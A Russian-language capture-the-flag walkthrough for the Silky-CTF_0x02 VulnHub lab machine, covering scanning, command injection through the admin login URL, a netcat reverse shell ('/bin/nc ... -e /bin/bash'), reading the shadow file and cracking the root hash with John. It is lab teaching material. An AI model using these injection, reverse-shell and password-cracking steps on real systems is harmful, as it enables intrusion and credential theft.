Решение CTF. Silky-CTF_0x02.
Здравствуйте, дорогие друзья.
Продолжаем рассматривать решение заданий CTF, и сейчас рассмотрим вторую часть Silky-CTF, и она так и называется Silky-CTF_0x02.
Скачать ее можно с vulnhub, где мы сможем найти ссылку:
https://www.vulnhub.com/entry/silky-ctf-0x02,307/.
Для начала скачаем данную виртуальную машину и сверим контрольную сумму. Что это такое, и как сравнивать, я описывал в предыдущем решении, так что потрудитесь и найдите необходимые шаги, которые мы проходили:
После сверки контрольной суммы, нужно просто сделать двойной щелчок мыши и установка начнется автоматически. В данном примере я использую среду виртуализации Vmware.
Окно для ввода пароля будет выглядеть как:
Разумеется, пароль и айпи адрес мы не знаем.
Нам нужно узнать айпи в нашей сети, с помощью утилиты «netdiscover»:
Отлично, теперь мы знаем наш искомый айпи-адрес. Давайте просканируем цель на предмет открытых портов. Воспользуемся инструментом «nmap», и команда будет выглядеть как: «nmap –A –sV 192.168.119.139 »:
Как видим, открыты два порта – это 22/tcp ssh, и 80/tcp http. Переходим в браузер, и видим, что сервер запущен на исследуемой машине:
Далее воспользуемся сканером веб-контента dirb, и поищем директории:
Нас будет интересовать админка:
Введем рандомные логин и пароль. Получаем следующий вывод:
Поиграемся с адресной строкой url, в частности заменим имя пользователя, на команду линукс «ls»:
Можем пойти дальше и дополнить команду с параметрами «-al»:
Отлично, видим вывод достаточно полезной информации.
Далее нам нужно воспользоваться инструментом «netcat», для прослушивания входящего соединения. Это команда
«nc –lvp 4545». Все это делаем в директории «Desktop»:
Проверяем свой айпи адрес, с помощью команды «ifconfig»:
Адрес нам нужен для последующего соединения с нашей машиной.
Переходим в админку сайта, и прописываем команду в адресной строке url: «/bin/nc 192.168.119.128 4545 –e /bin/bash»:
Соединение было успешно установлено:
Теперь нам нужно воспользоваться скриптом на Python, для перехода в шелл. Это команда: «python –c ‘import pty;pty.spawn(“/bin/bash”)’»:
Походив по директориям, можно найти флаг:
После этого продолжаем рассматривать различные директории, с помощью команды «ls -alh», и нас будет интересовать файл «cat_shadow»:
Пробуем запустить этот файл, но сразу это сделать не получается:
Наконец-то у нас получилось открыть данный файл, и мы видим список зашифрованных паролей, в частности «root»:
Копируем полученное значение пароля, и переходим в новый терминал, создав файл в текстовом редакторе nano:
Теперь можно взломать пароль с помощью инструмента John:
После некоторого промежутка времени наш хэш будет взломан:
Пробуем повысить права с помощью взломанного пароля:
Переходим в директорию «root», и находим наш флаг:
На этом все. Всем хорошего дня.